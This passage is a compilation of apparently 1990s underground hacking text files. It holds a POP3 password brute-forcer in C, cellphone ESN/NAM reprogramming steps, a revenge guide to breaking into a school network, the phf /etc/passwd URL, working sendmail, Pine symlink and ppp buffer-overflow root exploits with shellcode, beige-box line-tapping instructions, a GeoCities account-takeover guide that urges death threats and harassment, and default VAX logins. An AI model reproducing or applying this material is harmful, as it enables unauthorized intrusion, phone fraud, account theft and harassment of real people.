   sin.sin_port=htons(POP3_PORT);
   popsocket=socket(AF_INET, SOCK_STREAM, 0);
   if(popsocket==-1) return -1;
   if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-
1) return -1;
   popfd=popsocket;
   return popsocket;
}

int pop_guess(char *username, char *password)
{
   char buff[512];

   sprintf(buff, "USER %s\n", username);
   send(popfd, buff, strlen(buff), 0);
   getanswer(buff);

   sprintf(buff, "PASS %s\n", password);
   send(popfd, buff, strlen(buff), 0);
   getanswer(buff);
   if(strstr(buff, "+OK") != NULL)
   {
      printf("USERNAME: %s\nPASSWORD: %s\n\n", username,
password);
      return 0;
   }
   else return -1;
}

char *getanswer(char *buff)
{
   for(;;)
   {
      getanswer_(buff);
      if(strstr(buff, "+OK") != NULL) return buff;
      if(strstr(buff, "-ERR") != NULL) return buff;
   }
}

char *getanswer_(char *buff)
{
   int ch;
   char *in=buff;

   for(;;)
   {
      ch=getc(popfp);
      if(ch == '\r');
      if(ch == '\n')
      {
         *in='\0';
         return buff;
      }
      else
      {
         *in=(char)ch;
         in++;
      }
   }
}


void swallow_welcome(void)
{
   char b[100];
   popfp=fdopen(popfd, "rt");
   getanswer(b);
}

void hackity_hack(void)
{
   char *un;
   char *pw;
   char *c;
   int found=0;

   un=(char *)malloc(512);
   pw=(char *)malloc(512);
   if(un==NULL || pw==NULL) return;

   userfile=fopen(user, "rt");
   dictfile=fopen(dict, "rt");
   if(userfile == NULL || dictfile == NULL) return;

   for(;;)
   {
      while(fgets(un, 50, userfile) != NULL)
      {
         found=0;
         c=strchr(un, 10);
         if(c != NULL) *c=0;

         c=strchr(un, 13);
         if(c != NULL) *c=0;

         while(fgets(pw, 50, dictfile) != NULL && found==0)
         {
            c=strchr(pw, 10);
            if(c != NULL) *c=0;

            c=strchr(pw, 13);
            if(c != NULL) *c=0;

            if(strlen(pw) > 2 && strlen(un) > 2)
               if(pop_guess(un, pw)==0)
               {
                  found=1;
                  fclose(popfp);
                  close(popfd);
                  if(RECONNECT==0)
                  {
                     free(pw);
                     free(un);
                     fclose(userfile);
                     fclose(dictfile);
                     exit(0);
                  }
                  pop_connect(host);
                  swallow_welcome();
               }
         }
         fclose(dictfile);
         dictfile=fopen(dict, "rt");
      }
      fclose(dictfile);
      fclose(userfile);
      free(un);
      free(pw);
      exit(0);
   }
}
```

NOKIA 638 SERIES CELLULAR TELEPHONE NAM PROGRAMMING

The Nokia 638 Series handportable CMT uses an EEPROM NAME that can be programmed directly from the standard user keypad. In order to access the NAM, you must enter the special access code currently programmed into the phone. Once the programming mode is accessed, NAM parameters are loaded by entering them into the display and "storing" them to selected memory locations. Be sure to obtain all parameters before proceeding.

EASY NAME PROGRAMMING
1. Turn the phone on.
2. Enter the Easy NAM access code. Access code is: *#639#
3. Verify the display now reads "Cellular number" and enter the 10 digit MIN for the phone.
4. Press the [SEND] key. If less then 10 digits are entered the error message "TRY AGAIN" will prompt you to reenter the number.
5. Verify the display reads "CODE" and enter the five digit SID followed by four zeros. (Example 001750000 is a SID of 175 followed by four zeros). An error message will display if an incorrect entry is made. Do not add more then four zeros after the System ID.

NOTE: Change the Lock code by adding a pound sign and new lock code after the code. (example: 001750000#7788. Lock code = 7788) Change the Language by adding a pound sign and new language code after the code. (example: 001750000#7788#2) The SID = 00175, Lock code = 7788, Language = 2 (Spanish)

6. Press the "SEND" key. The display will tell you that the activation was "ACCEPTED". Do not touch any keys. The phone will power down and then back up again. Your phone is now programmed for use.

ACCESS NAM PROGRAMMING MODE:
1. Turn the phone on.
2. Enter the NAM access code. Factory default is: * 3 0 0 1 # 1 2 3 4 5 and press the [STO] key. The display will revert back to the normal operational display.
3. Press the down arrow key and verify the display read "911#*911#0*1234". This is NAM location one (n1 upper right corner of the display). To verify that NAM Programming has been successfully entered, use the scroll key to scan through the NAM memory locations. You may use the scroll key to verify that all entries were made correctly.
CHANGING THE EMERGENCY NUMBERS, LANGUAGE, AND LOCK CODES (LOCATION 01)
4. Press and hold the [CLR] key until the display clears.
5. Enter the string in Figure 1 using keypad.

```
             Asterisk (*)---+       +---Pound (Hash) Key (#)
                             \     /
Fist Emergency Number ---> 911*#911#0*1234  <---Lock Code
                                 /   \
      Second Emergency Number---+    +---Language Code
```
Figure 1

6. Press [STO]01[STO].
ENTER THE MOBILE PHONE NUMBER: (MEMORY LOCATION 02 AND 04)
7. Press and hold the [CLR] key until the display clears.
8. Enter the correct 10 digit phone number.
9. If desired, press the [ALPHA] key and enter a name of up to 16 characters. Note that the Pound (#) key can be used to insert blank spaces. Once the name is entered, press [ALPHA].
10. For NAM1 enter [STO]02[STO], for NAM2 enter [STO]04[STO]

PROGRAMMING THE SYSTEM INFORMATION: (MEMORY LOCATIONS 03 AND 05)
11. Press and hold the [CLR] key until the display clears.
12. In one long string, enter the system parameter according to the format of Example 2. Be sure to separate each parameter with an asterisk (*). Do not place an asterisk befor or after the string.

```
              +---Local Use Mark
    Access Method---+    /      +---Access Overload Class
                     \  /      /
System ID ---> 00034*1*1*334*15*15 <---Group ID Mark
                   /      \
   Asterisk (*)---+        +---Initial Paging Channel
```

13. For NAM1 enter [STO]03[STO], for NAM2 enter [STO]05[STO]

ERICSSON PROGRAMING INFO

Alright folks, here's the pin-out for the Ericsson Pocket Phone Programming Clip, also known as the Alexander Clip. I paid $200 for mine, when it showed up I was suprised to see a $5 piece of equipment.(I've heard of some people charging up to $350 for it) I'm writing this so no one gets stuck payin that shit again. For those who don't know, this clip activates the f0nes flash prom and allows it to be ESN programable from the keypad.
This works on ALL older Ericsson Pocket Phones...GH/AH/DH, doesn't matter... the only difference is the programing sequence, they can all be programed. I'll include some programing instructions for the 2-NAM models in this file later on, I'm still working on the esn sequence for the 4-NAM models. But don't fret, I'll figure it out.
O.k, on to the clip, the best way I can see to build it, is to modify an existing Ericsson Charger Clip...you'll need to change the pins, so here's the pin-out for both.
Charger: has 14 slots, 4 have pins...this is all read from left to right, with the clip connected, looking at the front of the phone. slots 2, 7, 8, and 14 have pins. like so...(x=slot w/o pin, !=slot /w pin)

```
                      x!xxxx!!xxxxx!
```
Programming Clip: (same diagram rulez apply, only this has 5 pins) slots 2, 6, 8, 11, and 12 have pins...like so:
```
                      x!xxx!x!xx!!xx
```
Ok, now for some programing instructions. These are for the 2-NAM models only, the 4-NAM models don't have a Funtion key so it's a whole new ballgame.
1. Attach the programing clip and power up phone.
2. Once it's on, hit **1**
3. Key in the ESN, hit * after each set of 2 digits
4. After keying in the final set of 2 digits, hit * and the phone will either reboot or scroll a bunch of numbers across the display (depending on the software version) This means the ESN change was successful.
5. Hold down the FUNC key and type 987, this will display the decimal ESN, if correct, hit STO. While in this FUNC, you can change your MIN, SID, all that good stuff. Always hit STO after any change.
6. Now yer DONE! Reboot the phone and dial away.

ESN CONVERSION TABLE:
0=00, 1=01, 2=02, 3=03, 4=04, 5=05, 6=06, 7=07, 8=08, 9=09, A=10, B=11, C=12, D=13, E=14, F=15
example: ESN of 82AF570D is keyed in like so:
08*02*10*15*05*07*00*13* (pause, should reboot or scroll numbers
*There is no limit as to how many this phone can be programed, boogy down.

ANALYZE AND ATTACK YOUR SCHOOL'S COMPUTER NETWORK-

NOTE: When I use 203.123.123.1, it is an example of what the Ip could be... IT IS NOT the actual IP.

OK, now some weirdo on a power trip has pissed you off. It happens to the best of us. So we do not get mad, we get even...An eye for an eye, now let's go get em.

This file will be aimed at the Macintosh variety of people, for they are generally on a higher level of understanding (not to mention I.Q) than that of the Wintel bigots.

OK, we're assuming you attend the school you want to practice electronic terrorism on, if you don't, it just makes things a little harder (but by no stretch of the imagination, impossible).

STEP 1) Build you info. This includes IP addresses, OS types and versions, modem dialups and just about EVERYTHING else you can think of. The single best way of doing this is social engineering, keep your ear to the ground and see what you can hear. Passwords, Usernames, and Administrators level of Paranoia are great. Become a nerdy computer monitor, become freindy with people who can tell you things, build up the level of trust and you would be surprised what they tell you. We're using the network of my school as an example, but this is generic info so don't panic.

Your system operator may be choosing passwords to a format (ie. birthdate) so make sure you get all his details...name, address, mother's maiden name, social security number,etc. -->use social engineering!

Forgive me if our schools have different setups but hey, you get that... Our school has a Windoze NT 4.0 server, lots of W95 computers, lots of Macs and a website. Teachers get email addresses. The macs are almost independent of the windows LAN, though they are able to log into the NT volume and store/retrieve files. The mac has it's own server. All the mac's run At Ease for workgroups. All the windows computer get their profiles from the NT server. The NT server is situated in the library with CD drives and the modems that are permanently connected to their ISP. Each of the windows computers (as far as we have been able to tell) have different, static Ip's. We haven't yet checked the macs. We are yet to confirm that the Windows NT 4.0 server has no Service Packs (although this is our theory).

STEP 2) Further Research If your school has a website, this is where to start. Using AGNETTOOLS (http://www.aggroup.com) for a Name lookup. Type in the name address, and get back the Ip address. Our school has 203.123.123.1 (if it has a one on the end, they probably have run of the domain (all from 203.123.123.1 to 203.123.123.255) A lovely thing called a ping scan is available in AGNETTOOLS so pump in 203.123.123.1 to 203.123.123.255 (for our case). Look for active computers that give a response.

```
PING SCAN _________
203.123.123.1       0.lost the number...
203.123.123.2         0.242
203.123.123.4         0.467
203.123.123.12        0.386
203.123.123.13        0.932
```

Make sure you do this during working hours, and after hours. Actually, try all times of times.

The next step is to have fun with the port scan feature on AGNETTOOLS. Pump in the feedback Ip's that you just got and scan for fun services. Fun services include TELNET<23>, FTP<21>, Hotline<5500/5501>, systat<11>, finger<79>, mail<25>, etc.

Do this on each of the computers and find the versions for all these. Find the sendmail version, Find the FTP version. Hell, just find ALL the versions. Now the fun begins.

Step 3) Use your info.

Now from here, there are two steps that you can take. The evil hacker or the good little hacker. The good little hacker is when we go and look for all the bugs in their system versions and the proceed to inform the administrator of them. Well since they pissed you off first, they shall pay. Remember, an eye for an eye...

Now, get those versions (oh yeah, by now you should have a hefty text file of all your port scans and stuff. The first place you should look is the bugtraq archive. Chances are that if there is a security hole in something, it's posted here. Go to <http://www.geekgirl.com/bugtraq> and have a search. If you find nothing there just use a search engine and type in some keywords to see what you find. If that still fails, check places like www.l0pht.com for exploits.

Another fun thing is to finger your life away. Type in the ip addresses and see if you get those logged in at that moment. That should, if enable, give at least one login name. Finger the server/s with things like: @, root, administrator,admin, guest,etc.

What we got from 203.123.123.4:

```
Line     User      Host(s)            Idle Location
2 tty 2   LIBRARY\ksAsyncinterface          0
3 tty 3   LIBRARY\kaAsync interface         0
```

Actually, our IP was in here to but we deleted it. These are local users, and seem to be permanently connected. (although once we saw another login name there).

A cool thing with AGNETTOOLS is the service scan, type in a service you want to look for, type in the start Ip and the end Ip, and let it do it's business. it's fun...trust me :)

If the server is NT 4.0, as is our target's, there are a few programs out there tailored to our needs. If you want to piss them off, hell you could just PoD them. Or there is NT Surprise Packet By Darkside Matrix(available at HackAddict which uses the RPC call as an attack (but any old cretin can do that).

Apparently, if they are using Microsoft Internet Information Server on NT, telnet to the http port-99.9% likely that it is port 80, and type in GET "../..". As read from a nice text file "halt the web services and effectively "kill" whatever web server they may have." Gunna have to try this one REAL SOON.

STEP 3) Go do your thing You should have the versions and the exploits by now, and since there are so many of them i can't give specific info on them. If you want more info on the local PC side, read the Windoze security by Somaticm scattered on hotline servers around the world.

If there is one thing you can do to piss people off (if they are using wintel trash) virii are fast, efficient and effective, especially on networks.

Alternative Step - For Evil People with Attitude Only

Today we learn the fun of WinNT 4.0's own 'Regedit'. This program is usually left open to the elements of *evil* people, but I guess they believe passwords only keep honest people out.

Now, where is that admin password?

Ok, this is only for LAN's only. At the 'Enter Network Password' prompt, press Ctrl+Esc. This gives you the task manager. You can do anything practically from here. Lets stay focused, right? Now, choose the 'browse' button and go to 'c:/windows/regedit.exe'. This is the Registry Editor on the terminal. What does it do? It remembers desktop layouts for each user, as well as passwords. Even admin. However, it is not obvious where they are located, and even then, they are in bin hex form, but it can be cracked quite easily, as I discuss later.

It is located in

```
H_KEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Network/
LanMan/Admin
```

Ok, now all you see is a shitload of numbers and crap. Well, two have red icons, as opposed to the regular blue icons of regedit. Look closer at them, and usually only one will have a code similar to '1e 2d 34'. Usually one, rarely two have this property. Why, because one is the full access password, and the other is the read-only password. Usually, admins don't need to give themselves read-only access, but why would you want that anyway? Ok, copy down that precious code! Hiho, hiho, itsa crackin we shall go...

How do I get this cracked, you ask? I'll tell you only if you have an evil grin. Well, you will need a program available from the hotline 'The No Shit Server' located on 'tracked.dyn.ml.org' tracker. This is usually up on weekdays, and usually around 10:00am-1:00pm GMT. I wouldn't know about other times, however.
The program is made by the UMS (United Microsoft Slayers) and is totally cool. You type in the admins' bin hex password code, and well, in short, it cracks in seconds. At only 50K in size, a handy weapon. Win95 only though I think :(- that aside, this gave us access to the computers. If you get busted doing this stuff, go back to regedit and 'accidentally' delete all the keys. That PERMENANTLY screws it forever, but I guess being a PC doesn't give you much scope for wrecking it - Windoze has already beat ya to it.

HACKING WEBPAGES

Well Psychotic wrote one of the most helpful unix text files in cyberspace but with the mail that we recieved after the release of our famous 36 page Unix Bible we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "Hacking Webpages With a few Other Techniques." We will discuss a few various ways of hacking webpages and getting root. We are also going to interview and question other REAL hackers on the subjects.

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...

```
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom  Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy  Bob:/usr/people/bbob:/bin/csh
```

This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.

```
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
```

This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

```
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
```

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it. Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:

```
http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:

```
http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need.

It’s best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. Iím going to list a few below but the list of exploits is endless. This exploit is known as Sendmail v.8.8.4 It creates a suid program /tmp/x that calls shell as root. This is how you set it up:

```
cat << _EOF_ >/tmp/x.c
 #define RUN "/bin/ksh"
 #include<stdio.h>
 main()
 {
    execl(RUN,RUN,NULL);
 }
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
 main()
 {
   execl("/usr/lib/sendmail","/tmp/smtpd",0);
 }
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
 main()
 {
   setuid(0); setgid(0);
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
 }
_EOF_
#
#
gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."
   /tmp/x
fi
```

and now on to another exploit. Iím going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor For this example, hamors is the victim while catluvr is the attacker:

```
hamors (21 19:04) litterbox:~> pine
catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine
catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4
catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine
catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4
hamors (23 19:09) litterbox:~> pine
catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine
catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +
catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4
catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
```

now on to another one, this will be the last one that Iím going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE  156 /* size of the bufer to overflow */

#define OFFSET  -290 /* number of bytes to jump after the start of the buffer*/

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
       char *buf = NULL;
       unsigned long *addr_ptr = NULL;
       char *ptr = NULL;
       char execshell[] =
     "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
     "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
     "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20 bytes */
      "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";   /* 15 bytes, 57
total */

        int i,j;

        buf = malloc(4096);

        /* fill start of bufer with nops */

        i = BUFFER_SIZE-strlen(execshell);

        memset(buf, 0x90, i);
        ptr = buf + i;

        /* place exploit code into the buffer */

        for(i = 0; i < strlen(execshell); i++)
                *ptr++ = execshell[i];

        addr_ptr = (long *)ptr;
        for(i=0;i < (104/4); i++)
                *addr_ptr++ = get_esp() + OFFSET;

        ptr = (char *)addr_ptr;
        *ptr = 0;

        setenv("HOME", buf, 1);

        execl("/usr/sbin/ppp", "ppp", NULL);
}
```

Now that youíve gotten root "whatís next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible.

PHREAK CRASH COURSE

Introduction

~~~~~~~~~~~~~

So you wanna be a phreak? Phreaking has declined in popularity in the past years due to ESS, but is no less phun or interesting. It is safer then hacking,IMHO, because noone knows what a phreak is outside of the "underground" computer community. You can do many phun things phreaking like bother the operator at no risk to you, make free long-distance phone calls to japan, and other cool stuff. First, I will teach a crash course on electricity and electrical components, then a course on soldering and how to build a beige box.

Electricity

~~~~~~~~~~~~

There are 3 main concepts in electricity, the volt, the amp, and the ohm.

Volts are, simply put, a measurement of how bad electricity wants to get from one place to another. For example, 1 volt won't even arc, but the few thousand volts on a stun gun will arc a few inches.

Amps are the number of electrons are going through the wire. Ohms is the difference in the incoming and outgoing amps.

Resisters and speakers are measured in ohms. There are also 2 types of electricity: AC and DC. AC goes back and forth from positive and negative, like what comes from a wall outlet. This makes it especially useful but dangerous, because it inducts, or puts itself, into nearby coils of wire. DC just goes in a straight line, like power from a battery. this makes it easy to work with, and is most often used for electrical projects.

Here is a description of the most important electrical components:

1. The diode. A diode only lets current flow in one way,but not the other. One use is to turn AC (alternating current) into pulses of DC.

2. The resistor. A resistor reduces voltage and current, to protect delicate components from strong signals.

3. The capacitor. A capacitor stores and releases electricity, somewhat similar to a battery. There are a few differences, though. A battery provides for a slow release of electricity, wheras a capacitor can release all at once. A capacitor also charges up in a matter of milliseconds, and can store different voltages.

4. The transistor. A transistor is a device that can either be used as a switch or an amplifier. There are 3 wires coming from a transistor. 2 of them are input and output electricity, and the third is the "base", or the switch. When no voltage is applied to the base, no electricity goes from input to output. When voltage is applied to base, electricity flows from input to output. The output electricity also follows variations in the base voltage, acting as an amplifier for the base voltage.

How to solder

~~~~~~~~~~~~~

First, get one of those cheap pen soldering irons for like $15 from somewhere like radio shack, good wire, wire strippers, and rosin core solder. Get a old kitchen sponge, wash it really good, and wet it. Ring it out good, and use it to wipe excess solder off of the tip of the iron. Get two old crappy plates or something (nothing that can burn or melt) and set the iron on one, and the sponge on another. Plug up the iron, leaving plenty of slack in the cord. Leave it plugged up for a few minutes. NEVER touch it after it has been plugged up, it gets like 300+ degrees farenheight. After you leave it plugged up for a while, unroll a little of the solder and "cut" off about a quarter inch with the iron. If it doesn't melt immediatly, leave it plugged up for a while longer. Do this every time when you begin to solder with that roll of solder for the first time that day. After that, cut off about four feet of the wire and cut it into 4 or 5 inch pieces. Strip out the ends of those pieces with the wire strippers, about a half inch. Get one of those, and solder the two exposed leads together. Touch the iron to the wires for about five seconds, unroll about 6 inches of the solder, and touch the tip of the piece of solder sticking out to the WIRES. Use just enough to cover the joint well. Don't touch it to the iron, this causes cold solder joints and can screw up circuits you are making. Repeat and make a chain of wires to practice soldering.

How to make a beige box

~~~~~~~~~~~~~~~~~~~~~~~

You need a phone cord, a one piece phone, 2 big alligator clips, wire strippers that go to a small size, a lemon.

Get the phone cord and cut it in half, trim wire to about 2 feet or a little longer than a comfortable length you want. Strip it out. You should see 4 wires, red, green, black, yellow. Cut off the black and yellow wires, you don't need those. Strip out the red and green wires. You should see a bunch of little tiny wires stiching up. Twist the wires up from the red and green wires to make them as close to a single wire as you can. Wrap those around 2 short pieces of normal copper wire, stripped about a half inch on both sides, and solder together. Make sure it is stable and won't come apart easily.

Then wrap the copper wire around the alligator clips, and solder. Again, make sure it won't come apart easily. Make sure none of the copper part of the red and green wires are touching each other. Plug this into the one piece phone. You now have a beige box. Late at night, at like 2 or 3 in the morning,get the lemon and go to someone's house and find the ugly green or gray box on the side of their house. Make sure it says telephone something or something like that. Get the lemon (you are supposed to get a 7/16" hex driver, but a lemon is easier and less suspicious.) Stick the lemon into the weird hex screwdriver slot, push in, and turn 1/8 of a turn counter clockwise. You should now see 2 bolts, one red and one green. Attach the alligator clips to both of the bolts, red to red and green to green, respectively. You now should get a dial tone on the phone. If you don't, try building another beige box with the other side of the phone wire. You know what to do from here, make 1-900 calls, bother the operator, prank calls, etc. If you are really mad at someone, make a 1-900 call, get the phone girl, and leave. They will get like a $3000 phone bill.

HACKING GEOCITIES

Introduction

Well I typed up this text to let you all know how to hack a geocities homepage. It is as easy as taking a shit. Make sure to keep your eyes pealed for newer versions because geocities is always changing. 2. What Information You Need

Ok first of all you have to have an email address. I'd suggest any email address that cant be traced to you. Like a hotmail account with false information or an email address with an isp you have a fake account with. Lets get on with it...Ok to hack there page all you need is there url, email address they used to register there geocities homepage, user name, full name (or name they used to register there geocities homepage), and birthdate. 3. How To Get The Information

To get there user name go to:

http://www.geocities.com/thereplace/residence.html
There place= SiliconValley, SiliconValley/park.....You get the point. To get there name or the name they registered there geocities homepage: Talk to the person in person or mabey mirc, powwow, email, or phone. Usually people register there geocities homepage with there real name so if you know there real name your set. To get there birthdate:

Ok this is the hardest part. Unless you already know the persons birthdate I would suggest trying to get it in the following ways. a) Email them as some type of company doing a survay. And make sure that one of there questions is what s your birthdate. This can be done in the email or over the phone. To get ther email address they used on there geocities application just put there regular email unless they have two email addresses then fill out the application (talked about below) and send it. -or- b) Talk to them online and get a good discussion going and ask, "By the way what is your birthday?" If they say why just say, "Because Im a gypsy or a fortune teller" or just say, "I just want to know your sign." There are many ways to do this. Use your own if you have to.
I would HIGHLY suggest to get it you say your the opposite sex of that person and come on to them. A guy always wants to talk with a girl. Good now if this all worked you have there url, member name, full name, and birthdate. Lets move on... 4. Getting There Password
To get there password go to:

http://www.geocities.com/help/pass_form.html

Once you get there you will have to enter ther persons member name, full name, url, old email address, new email address (the one you are using as the person) and birthdate. Hopefully you have all this if not keep trying to get it. 5. What To Do

Ok if the last step worked out then you now have there password or will be getting there password soon. Id say about 6 hours. Well once you have there password go to:

http://www.geocities.com/homestead/homeprof.html

and type in there member name and password then print out all there information they had then change all the information to your email address a fake name and shit. Once you do this the homepage is yours. 6. Other Usefull Ideas

After you edit there geocities profile I would use the information on there original profile (THAT YOU PRINTED OUT!) and send death threats to there house or even use that information if its correct and get there home phone number and harass the fuck out of them. Well most idiots have the same password for multiple things. Once you get there password do the following: If they use mirc and aren't on change your nick to there nick and type: /msgnickserv identify password (use there geocities password) and if its correct you now also have there mirc password, check there memos and if they have a channel go in there and if the channel password is the same take the channel but if not ask an irc operator for it and since they think you are them you now have there channel also. Make sure to change the passwords. Whatever you do dont use there geocities email to email bomb people cause email can be traced to your isp and ip. But make sure to spy in on there email and reply to people that email him and say something like, "I hate you and your a cock hole, fuck your mother."
Then if its somebody they know at school they'll get there assess kicked! Im sure you can think of more things to do to fuck them over. Till then have a blast! 7.
Conclusion

I hope this text file I wrote helped you. You can always try alternative ways of
getting information. If you find even an easier way make sure to email me.

Happy Hacking

BASIC VAX/VMS HACKING

The VAX system runs the VMS (Virtual Memory System) operating system. You know that you have a VAX system when you get a "username" prompt. Type in capital letters, this seems to be standard on VAX's. Type "HELP" and it gives you all of the help that you could possibly want. Here are the default usernames and passwords for VAX's:

Username:	Password:
SYSTEM	OPERATOR
SYSTEM	MANAGER
SYSTEM	SYSTEM
SYSTEM	SYSLIB
OPERATOR	OPERATOR
SYSTEST	UETP
SYSTEST	SYSTEST
SYSTEST	TEST
SYSMAINT	SYSMAINT
SYSMAINT	SERVICE
SYSMAINT	DIGITAL
FIELD	FIELD
FIELD	SERVICE
GUEST	GUEST
GUEST	unpassworded
DEMO	DEMO
DEMO	unpassworded
TEST	TEST
DECNET	DECNET

Here are some of the VAX/VMS commands:

Command:	Function:
HELP (H)	Gives help and list of commands.
TYPE (T)	View contents of a file.
RENAME (REN)	Change name of a file.
PURGE (PU)	Deletes old versions of a file.
PRINT (PR)	Prints a file.
DIRECTORY (DIR)	Shows list of files.
DIFFERENCES (DIF)	Shows differences between files.
CREATE (CR)	Creates a file.
DELETE (DEL)	Deletes a file.
COPY (COP)	Copy a file to another.
CONTINUE (C)	Continues session.

The password file on VAX's are available when you type in the command:

```
SYS$SYSTEM:SYSUAF.DAT
```

The password file on most VAX's are usually not available to normal system users, but try it anyway. If the default logins don't work, use the same means of finding one as stated in Section J.

Be VERY careful when hacking VAX's because they record every bad login attempt. They are sometimes considered one of the most secure systems. Because of this, I advise not to try hacking these until you are more advanced.

